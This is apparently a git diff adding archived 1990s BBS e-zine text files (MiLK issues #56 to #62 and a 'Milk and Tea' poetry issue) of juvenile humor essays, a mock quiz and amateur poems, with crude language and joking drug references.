minimum). But instead they created the biggest media + circus ever, and that was only the beginning. + For weeks afterwards that is all that you saw on TV.. OJ this OJ + that, and People sat enthralled by that. They watched America's Legal + System go to Wazoo (Innocent Until Proven Guilty by a Jury of Your + Peers, remember), along with any rights he has to a fair trial. + Well, all in all, I'd say, is, turn off the set, at least + sometimes, and pick up a book. Or turn on the computer and call some + message boards, and engage in thinking conversation. Or at least + nonthinking conversation.. at least its somewhat reading, and also a + lot more real. The TV is not an advance, but a Setback. + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #56: "TV Today" <ÄÄÄ + (This File Just wasted 5038 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-057.txt b/textfiles.com/magazines/MILK/milk-057.txt new file mode 100644 index 00000000..4f596cca --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-057.txt @@ -0,0 +1,93 @@ + Ü Ü Ü Mighty Issue #57 + Ü Ü Û Û Ü illicit "Stress" + Û ß Û Û Û ÛÛ Liquid -By Epic + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + .úùú. .úùú. Julio is Late .úùú. .úùú. + + + Julio's hands gripped the wheel as his foot applied pressure to the +accelerator. The engine switched into yet-higher gear as Julio's radar +detector started squealing uncontrollably again. He quickly shut off the +sound, and the insane light display on the detector was slightly more +bearable. He wonders just how many semi's he must pass until he gets to where +he's going. But alas, "I do not have time to wonder about anything" he +thought to himself as he yet again defied death and decapitation by speeding +past another vehicle sporting 'extra tires'. After all, Julio was late. + + .úùú. .úùú. Stress is Everywhere .úùú. .úùú. + ~ ~ + + Sound familiar? Ever find yourself desperately searching for a little +rest and relaxation, a weekend after a hard week of work/school, even a +fucking 15 minute coffee break? I bet you do. I bet when you have some free +time you wind up spending on crap instead of doing anything fun. I bet this +is that kind of thing that happens a lot. + + All this crap has no choice but to build up and collect, and cause +more STRESS. Pounding inside your head and your heart, driving into your +soul. There are pills that can help relieve headaches and physical +manifestations of stress, but there are none that can relieve the stress +itself. Stress is everywhere. + + Traffic, work deadlines, appointments, near fatal car-accidents, +fast-food inconveniences, low bowling scores, debt, heavy explosives, or +falling into open graves could all produce near ridiculous levels of stress. +This stress is worse for you than leprosy, worse than cancer, even worse than +being bitten by a poisonous lamprey on the neck. Bad, bad stuff. + + .úùú. .úùú. Escape is Difficult .úùú. .úùú. + ø ~ ø ø ~ ø + + Escaping this stress is hard to achive. Strive for relaxation, and +comfort. If you even for a short while escape some stress, be satisfied in +knowing that you are doing better than most. It's pretty scary. + + Some people find relaxation in their home, perhaps on the beach, and +it's always good to try, but escaping stress sometimes seems futile. Buy some +of those little chinese ball things with neat designs that you can play with +around in your hands. Some wise chinese man in an advertisement recommended +them for releasing tension. I suppose it couldn't hurt. + + If you have any way you have found to avoid stress, exploit it. Do +whatever you can to relieve yourself from this hell of high blood pressure. +You may find it difficult to avoid this stress, and this is common. Sometimes +just about the only thing that could satisfy the intense yearning for escape +is a good explosion. + + .úùú. .úùú. Stress is Insanity .úùú. .úùú. + .úùø ~ øùú. .úùø ~ øùú. + + Stress is growing at exponential rates, and flooding from every +direction. Such extreme stress can lead to unwanted bowel movements, nervous +twiches, exploding of the pancreas, imploding, or of course, insanity. + + Every bit of stress is a little pick-ax chip away at your sanity. +That's all it is, nothing but concentrated insanity. Like a flashback to Nam, +or a flashback to a bad trip, it's in-your-face pressure. The kind of +pressure that scuba divers have to worry about. + + Pick up any map and look at it. Look at all the roads on a map. Each +ones of those roads is loaded with potential stress. Look at your hands. Even +your little pinkie finger can hold a vast storage of stress capability. +Stress is definitely in abundance, and doesn't seem to be going away any time +soon. Good luck. + + --> So go ahead, do it, flip out, GO MAD. Insane! STRESS. AHHHHHHHHHH. <-- + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #57: "Stress" <ÄÄÄ + (This File Just wasted 4814 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-058.txt b/textfiles.com/magazines/MILK/milk-058.txt new file mode 100644 index 00000000..d7cdd605 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-058.txt @@ -0,0 +1,127 @@ + Ü Ü Ü Mighty Issue #58 + Ü Ü Û Û Ü illicit "Chat-Addiction Anonymous" + Û ß Û Û Û ÛÛ Liquid -By James Hetfield + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + There are very few places you can go anymore and find +anything worthwhile to do. BBSing used to be my getaway from +the everyday lifestyle and the people I found most repulsive +in my everyday findings. But, as of late, chat boards have +brought these people into the BBSing world. + + Let me give you a few examples of some typical Chat +board styles of users. I'm using the format of G-Talk because +it's the format I know best. Let's take one board I used to +be a Co-sysop on, the Nuclear Greenhouse. Names have been +changed to protect the annoying. + +(Logon goes here) + +P#04[T1:Vamprette) Hey, Jamesy, wanna go get stoned with me + and a few of my friends tonight? +#05[T1:Freek) NIRVANA FUCKING ROCKS +#07[T1:/\/ecro) Hi Scottie. Wanna have modem sex? +#14[T1:Tainted Realty) My life sux. I think I'll go stick my + head in the oven. Damnit, where's my prozac? I don't think I + took the right amount today... + + Here we have the four classic examples of why chat +boards are quite repulsive. We have the drug-addict, for +one. A lot of people are attracted to BBSing because the +people around them are quite like themselves... and that USED +to be clean, for the most part. But... that statistic is +changing. And chat boards seem to be one of the largest, +easiest hangouts for these types. We also have the +Alternateen, who sits around on the chat board all day and +bitches about how so-and-so sold out. Now, these people will +be found on Message Boards as well, but at least on message +boards you don't have to talk to them. The third type shown +is the Modem Sex addict, who uses the modem to get themselves +off in one form or another. This was not very possible on +Message boards, but chat boards make these people a lot more +plentiful. Finally, our last example is another version of +the alternateen, the depressed one. These too can be found on +message boards, but it's a tad more aggrevating to see someone +talking about slitting their wrists live, on the scene, then +reading a message about in. At least in my opinion. + + That was simply one example of the chat board. let me +show you another example, another G-Talk in Chicago, This one +called The Lunitic Phringe. This Chat was once a multi-node +BBS, but that hadn't helped its user/repulsive ratio. Once +again, names have been changed to protect the annoying. + +#01[T1:Bolverine) doodz, my life sux big cock. +#05[T1:KenÅaur) whatever dood +#07 ÛÛÛ Û + Û Û + ÛÛÛÛÛ + Û Û + Û ÛÛÛ +#11{T1:PATTI} doodz, I'm going to get so fucked up tonight... + I got enuff acid to last me... fuck + + Here we have some of a same classic examples, only a +few differences. Everyone on this board think they're "tuff +shit" because they use words like "w0rD" "dood" and racial +slurs all day long. But, if you look closely, they all show +the same problems of chat people that the other chats show. +Take for instance the first one. This person is just saying +in another form a lingo that he wants to die. E.g. The +depressed alternateen we saw earlier. + + You see, no matter WHAT chat board you call, it's not +going to be a good one. Therefore, as a Ex-Chat-Addict, I +advise you to keep as FAR away from chat boards as possible. +and whatever you do, do not SUB at one. Subbing at a chat +board is simply selling your soul away to the phone company, +as you'd learn when you get your 200 dollar phone bill from +calling the chat all the time. + + Message boards are a lot safer, saner, practical way +to BBS. You don't have time to rot away on a message board. +Chat boards with a message base system, if you get a chance +to look at them, are quite a joke. Chat users just do not +understand how a message area works. + + Finally, SysOps of Message boards have time to take +CARE of their BBS, because there isn't as much to worry about. +They have the ability to monitor message bases and files and +such a lot easier than a chat sysop, because the chat sysop, +well, sits around and talks. + + If you happen to be a Co-Sysop of a Chat board, I +pity you. But I do have a full-proof plan in 3 EASY steps +of how to quickly and efficently lose your account at your +chat, therefore taking the FIRST step to becoming an Ex-Chat +addict: + + 1. Mail every user on the system and make fun of them + 2. Mail the sysop and call him a jerk + 3. Let one of your friends get on your account and have + a /K spree... while the Sysop is at Console + + If you perform these easy steps, chances are they +won't exactly like having you hanging around their chat board +and longer. + + Break the chat addiction! Stop calling your favorite +chat today! Leave your SUPPOSED chat friends, because if they +really WERE your friends they'll call message boards like YOU! + + (* A public service message from James Hetfield *) + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #58: "Chat-Addiction Anonymous" <ÄÄÄ + (This File Just wasted 5977 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-059.txt b/textfiles.com/magazines/MILK/milk-059.txt new file mode 100644 index 00000000..f3a6e0c8 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-059.txt @@ -0,0 +1,103 @@ + Ü Ü Ü Mighty Issue #59 + Ü Ü Û Û Ü illicit "My greatest Writing Ever" + Û ß Û Û Û ÛÛ Liquid -By James Hetfield + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + My Childhood Memory + + I remember when me and my mother went to the Florida Keys. I love my +mother. She is the nicest mother in the world. I love her because she is +there for me when I need her. I don't think there will ever be a nicer +person than she. This was last summer. Last summer was great. I loved +last summer because the Cubs won the pennant. First, we drove though five +stats to get to Florida. These states were beautiful, but most of them were +not as nice as Morton Grove, IL.. I love Morton Grove, Il. Because it is a +peaseful little town. Then, we had to drive though a large swamp to get to +the keys. This swamp was fantastic. I loved this swamp. I loved the swamp +because it is adventurous. It is adventurous because the corcadiles can eat +you whole. I don't think any other swamp is better than this one. Next, we +drove over the Seven-Mile Bridge. This bridge was very elegant, but I think +it is a waste of tax-payer's money. I think it is a waste of tax-payer's +money because they could just not have built it. They could have people use +a ferry. Finally, we got to the keys. The keys were crowded, but +wonderful. I love the keys because they are different from Illinois. They +are different from Illinois because of the scenery. That was about my trip +to Florida. I loved it. I loved it because Florida is the most beautiful +place in the world. It is the most beautiful place in the world because of +the elegant palm trees. + This was last summer. It was the year 1989. I loved that year. It was +a great year because of the Cubs winning the pennent. I don't think there +will be a year like that ever again. We departed and arrived home in +August. August was a great month. My mother's birthday is in August. I +don't think there is any other month better than August(except for December. + I love December. I don't think there is a better month than December. +Cristmas is in December. I love Cristmas because of all the presents I get +at Cristmas. Cristmas is great. I don't think there is any better holoday +then Cristmas. Except for my mother's birthday, because I love my mother.) +It was the year of the Dragon. I love dragons. I love dragons because +there green, and green is my favorite color. The trip was great. The trip +was great because I was with my mother, and I love my mother so much. + We drove though five stats to get to Florida. One of them was Indiana. +Indiana is a wreched state. I hate Indiana. I hate Indiana because of all +the air pollution. Another was Kentucky. Kentucky is a dispicible state. +I hated what I saw of it because I hate bluegrass music. we went through +Tennessee, too. Tennessee is a pitiful excuse of a state because I can't +stand country music. I hate Tennessee. We even went through Georgia. +Georgia is a excellent state. I love Georgia. I love Georgia because of +the music there is normal. We went though four states to make it to +Florida. I love Florida. Florida is a great state. Three of them are +pathedic excuses of states. The states are pathedic excuses of states +becauase the music in them is bad. + We had to drive through a large swamp to get to the keys. It was called +The Everglades. I love swamps. Swamps are the best because of the danger +in them. It was adventurous. The long roadt though there was dark, and if +your car broke down, there were no gas stations for miles. I hate cars. +They cause air pollution. I think cars should be destroyed. We could hear +many animals, even alagators, in the swamp. I love animals. I have many +animals as pets. I t was a long drive through the swamp. + We drove over the Seven-Mile Bridge. I feel this bridge is a waste of +tax-payer's money. I think they could of just had a ferry there. This is +the largest bridge in the world. It connects the keys Marathon and Key +West. There is barly any extra space on the brige, so if a car broke down + others could barly bet by it. The bridge had a nice view, though. It is a +pretty bridge to drive over. But I still think it is a waste of tax-payer's +money. + Finally, we got to the keys. These were a disappointment to what I had +imagened. They were a disappointment because they were overcrowded. We +went to fancy restraunts. I had some satisfactory foot at these restraunts. + We went on a small plant tour around the Keys. We went to some beautiful +beaches. They beaches were beautiful because of the white sand. We went +fishing. I like fishing because it is very peaceful. My mother bough me a +bird. I still have it to this day. I love my bird, there's no better bird +in the world, I think. I love my bird because it is so funny. It does like +a circle in the cage. That is what we did at the keys. + My trip to Florida was apleasent one. I liked the trip. I think it was +the best vacation I ever had becuase of all the fun I had. We drove throuhg +four stats to get to Florida. I hated three of the states. We drove +through the Everglades. The Everglades are a swamp. I like swamps. +They're so natural. We drove over the Seven-Mile Bridge. Bridges are a +waste of tax-payer's money. Finally, we got to the keys. I thought the +keys were satisfactory. I liked the trip to Florida. Overall, I thought it +was a very satisfactory trip. + +----- + + This was an essay I wrote in the 7th Grade that I recently found lying +around the house... You might not see the humor in this unless you have ever +picked up something you wrote a long time ago and laughed at it. + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #59: "My Best Writing Ever" <ÄÄÄ + (This File Just wasted 6548 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-060.txt b/textfiles.com/magazines/MILK/milk-060.txt new file mode 100644 index 00000000..98ab72d8 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-060.txt @@ -0,0 +1,60 @@ + Ü Ü Ü Mighty Issue #60 + Ü Ü Û Û Ü illicit "The Curtain" + Û ß Û Û Û ÛÛ Liquid -By James Hetfield + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Well, the days are getting shorter, the nights getting longer... +and few of us can appreciate this fact because of the education +institutions we find ourselves in at this moment. Yes, the summer has +ended, and we've been thrown back into the school year. Some of us do +not notice the giant change as strong; some only goto school from 8 to 3 +and then come back home to enjoy the rest of the day. Others notice +this change greatly; now finding themselves hundreds of miles away from +all their summer pals. + + The BBSing scene has slowed down, like it always does; Q101 +doesn't seem to overplay all the songs as much anymore, because we don't +have time to be listening to it most of the day; We even find ourselves +enjoying sleep, because we have very little time to do it now... + + And, just like everything else, [MiLK] has almost gone an entire +week and a half without putting out a text file; Because of this fact, +we find ourselves with Milk 60: The Curtain. + +* * * * * + + The curtain is always getting a little more rough; a little +dirtier; and it's always getting closer to being closed. Every day, the +curtain subconsciously knows someday no light will be getting through +her. Until, finally upon that day, the curtain is closed. The curtain +is taken off the window. The curtain should not become sad about this, +however, because all curtains have to be replaced someday, otherwise the +curtain would fall apart and be horribly ugly and wouldn't be able to +preform any of the tasks it used to.. + + Just like that curtain, we all must come to the understanding +that our lives must eventually come to an end. Whether that end is in +an auto-accident; Drinking Cool-Aid; or dying in a buring compound +shouldn't be any of our concern, because we all have to end someday... + + Remember that when you're about to come to your gory demise. +Just say to yourself, "Hey, I'm like, Dead.". + +* * * * * + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û Violent Playground.........(908)920-2575 [14,400] +Û²²²²²²²²²²²Û Black Dragon BBS...........(703)885-3072 [14,400] +ÛÛÛÛÛÛÛÛÛÛÛÛÛ ÄÄ> MiLK File #60: "The Curtain" <ÄÄÄ + (This File Just wasted 2839 bytes of your hard drive) + diff --git a/textfiles.com/magazines/MILK/milk-061.txt b/textfiles.com/magazines/MILK/milk-061.txt new file mode 100644 index 00000000..f1262cc0 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-061.txt @@ -0,0 +1,146 @@ +Ü  +Ü Ü#61 +: Ü Ü  +Û Û ÜT +he En +d Û ß Û  +Û Û ÛÛ +In Te +chni +colo +r!! (W +here Available)  +ß ß ß ß + ß ß þ þ þ +-By  +James  +Hetfield +Ä Ä -ÄÄÄÄÄ +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +ÄÄÄÄÄÄÄÄÄÄÄÄÄ + + + + + WHooMp here it is. The LAST [MiLK] Text file... kinda brings a tear +to your eye, eh? Either that, or a sigh of relief. Well, probably most of +you have though [MiLK] has been dead for a long time now, considering a file +has not come out in the last two months... but we've, uhm, just been +sleeping! yeah, that's it! Well, for your information, the Original group +[MiLK] will be dead, but that is because a new offspring will be coming from +it... MiLK will be merging with a bunch of kiddies on the New Jersey side, +and a new group will be formed... something like "Tea and Crumpets" or +"MiLK and Tea" or "Tea and MiLK"... something like that. So be watching for +these, these Tfiles should be coming out at about 10x the pace that [MiLK] +files came out... So, for old time's sake, let's take a [MiLK] Aptitude test! +Let's see how much you REALLY subscibed to the school of MiLK... + +1) What do you consider yourself to be, in the eye of the world? + + a) I consider myself a citizen of the universe. + b) I'm fuKien /<-RaD + c) Joey Buttafuco + d) I'm a Lamer. + +2) If you had 3 Oranges, and someone gave you 14 more, what would you have? + + a) 17 Oranges + b) 42 Oranges + c) Orange Juice + d) Totall and Universal Happiness + +3) What is the typical response going through your head after reading the + typical MiLK file? + + a) Wow! I wish I was a MiLK member! + b) Wow! I'm glad I'm a MiLK member! + c) What's that Smell?... + d) This Sucks. + +4) Who is the greatest Lamprey hunter in the universe? + + a) Pete + b) Nyarlathotep + c) 42 + d) Helen Keller + +5) After reading a MiLK file, what's the most common response of these? + + a) I think I'm going to go help my community! + b) I think I'm going to go get baked! + c) I want to KILL the woman whose hand is on the home shopping + club... + d) That reminds me, I'm out of Sea Monkey food... + +6) What's your favorite type of music? + + a) Industrial + b) Alternative + c) Ray Gay + d) The marching Band at my school + +7) What is the greatest Video game ever to be produced? + + a) DOOM + b) Mortal Kombat + c) Pac-Man + d) Little People's Farm + +8) If you could watch ANY telelvision show right now, what show would you be + watching? + + a) The Cosby Show + b) Family Ties + c) The Beverly Hillbillies + d) Green Acres + +9) If you could watch ANY game show right now, what show would you be + watching? + + a) Jeopardy + b) The Price is right + c) Press your Luck + d) Supermarket Sweep + +10) If you could have sex with ANY television character, which would it be? + + a) Kelly Bundy from Married w/ Children + b) Kirsty Alley from Cheers + c) Smurfette from the Smurfs + d) The Owner's Dog from Fraggle Rock + +Here's how you Score Yourself: + + Every Answer You Picked... + + A = 0 Points + B = 1 Points + C = 2 Points + D = 5 Points + +0 - 10 Points : Go Read Some Anarchy Text Files. +10 - 20 Points : You've only read the first few MiLK files +20 - 30 Points : You need to drink a few more Slurpees +30 - 40 Points : You're almost Lame enuff to be a MiLK member +40 - 50 Points : Wow! You're really Phat! + + Thanks for Taking the Test. Expect the new Text File group to be +out very soon to a BBS near You. Until then, this is MiLK, signing off... + +--- + + Note: If you are currently a MiLK member, get in touch with Jamesy +immediately. We're going to need the old members to keep writing for the new +group! Thanks... + +-=- + Contact Jamesy at: milk@ripco.com + +-=- + The Obloid Sphere [708]965-3098 [14.4] +-=- + This File is 4677 bytes: don't fuck with it +-=- + diff --git a/textfiles.com/magazines/MILK/milk-062.txt b/textfiles.com/magazines/MILK/milk-062.txt new file mode 100644 index 00000000..f6b45c72 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-062.txt @@ -0,0 +1,56 @@ +Mighty Illicit Liquid Kollections is back online for one farewell issue for +all of those who didn't know about the end of MiLK... MiLK is dead, that is +all. + + +I No Longer Hear The Woman-Spirit In The Tree by M.C. Dillon + +I never could take a hint, wheather for +good or bad, so don't be cross with me, for +not once did I intend to make you feel +uncomfortable or act rude or at all +unpleasant. Maybe, maybe I tried too +hard to endear myself to you. But then +I realize it will not make any kind +of difference three shrot years from today +if you counted me as a friend in the scheme +of you relationships, and you looked for +me after graduation so you could +tell me goodbye forever; we both know +I'm not what you want, that no matter what +I do, all you can ever giveos is a +trite conversation or a brief, insincere +"thank you" dropped like a bottle rolling off +a bar that tumbles and wakes a bum from +grand visions, as your drunken words awake +me from the dreams I had of holding you +in that first precious bloom of love that grows +and fixes itself as a gentle and +sweet period in otherwise a lame, +absurdly tragic and strange pattern of +hoped-for relationships that have not +and never will come to fruition, but +rather wither and die like my words you +find sickly sweet, all in hope that I could +change your heart, make you what you aren't, and +that you could quicken me, and cheat the bleak +fate that alarmingly becomes more clear +and more apparent with each passing day, +that I have been eternally cursed as +rude, akward, and overbearing, like a +ton of sand: not only smothering but +removed and shaken and washed off when the +acceptance of day is gone and it is time +to change to clothes more suitible for the night, +as you exchange me as the summer nears. +So go then, I shall not pursue; I'm done +with questing and with chasing after your +sweet little solar systems of friends, so +do not concern yourself with the fear that +I might fall into orbit or disturb +and bother you, even so little that you +might be the first to wave as we pass by. + + + +irony's pretty ironic sometimes, eh jamesy? diff --git a/textfiles.com/magazines/MILK/milk-tea.010 b/textfiles.com/magazines/MILK/milk-tea.010 new file mode 100644 index 00000000..60988b9c --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-tea.010 @@ -0,0 +1,329 @@ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ :::::ÜßßßÜ:ÜÜÛÛÛßß:ܲÛÛÛÛÜ::: +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ :::ÜÛÝ:::ÞÝÛÛܲÛÝßÞÛÛÛÜÜÛ²Ý:: +³°³ ³°³°³°ÀÄ´°Ú¿À¿ and :Ü۲ܲÜ::ß:ß²Û²ÛÛÜÜþÛÛßÛÛÛÛ:: +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ß:Û±Û²ÛÛßßß:±ßßßÛßÜÜÛÝÞÛ²ÜÝ:: + ::Û°ß::::ßßß°::ß:::ßÛ:ÛÛ²ß:gh + ° ß± +File #010: The Poetry Issue #1 +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Well, it seems a lot of people who are interested in Milk and Tea +are just the BIGGEST poetry lovers. So, without much further babble, we +now present MiLK aND TeA: The Poetry ISsue #1! + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"Summer Inspiration" By Kojak + +The dog lies motionless on my front porch +This is strange because I dont have a dog +Nor do I have a front porch +Obviously one of us is not home. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"A Butterfly for a Wanton Bear" By Snakelady + +How can the lifeless swan be so abandoned? +To scavenge or to glide, only the wolf knows. +Revolt! Know that the bold hyena howls. +On the hour. +a mouse can make you without sadness float above the fact, +The days of the blacksmith and the wolf are gone, +Thoughtfully, Because profoundly, like the eternal rainbow, +a troll can make you with much malice endure. +Expansive, so seems the handsome cottage, +It splits; the icy wooden walls collapse, +as runs amidst the angry fox, +Asking about a land of ice enchanted. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"Spring Inspirations" -By Kojak + +Roses are red +Violets are blue +Carnations are white +And lilies are too +Tulips are purple +Nasturtiums are orange +Daises are pink +And I am reminded too late that nothing rhymes with the word orange. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +_Untitled_ By Optical Illusion + +I see +The sweet sorrow +in your eye. +You say +Lets have fun, +I gotta run, +goodbye + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"Autumn Inspirations" By Kojak + +Hunting season. +In the scrub, a nervous creature cowers.. +Eyes wide with fear +Tremblin +Lost +Afraid. +Jumping at every sound. +Mother's always twitchy on Opening Day. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +_More Untitled_ By Optical Illusion + +Roses are red +Violets smell sweet +Gimme a happy meal +Cuz i like red meat + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"Winter Inspiration" By Kojak + +My wife snuggles up close +"Put a log on the fire", she whispers +I do. +It sizzles and pops +It crackles and snaps and fizzles +It shakes and yelps and runs away whimpering. +Log? I thought she said dog. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"KID" By Snakelady + +They look at me with condescending eyes +expecting me to: +eat Trix 'cause they're for kids +drink pink slurpees saying cute little things innocently smirking +dream wonderful little girl dreams +wonder about growing up +envy their experience and maturity. +they don't think I am old enough: +to be involved in a serious relationship +laugh at ribald jokes and fully understand their snyde remarks. +I am just amused and never tell +that I am old enough to be their mother. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"More Summer Inspiration" -By Kojak + +You lie awake at night feeling restless +You look over at your wife +Suddenly you wish you'd been nicer to her this decade. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"More and More Untitled" By Optical Illusion + +I see the light +It's shining towards me, so bright +I feel weak, i try to fight.. +I look directly and lose my sight.. +what the fuck..its the middle of the night.. +Oh its you checking up on me +making sure i'm still asleep...right? + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +"More Winter Inspiration" by Kojak 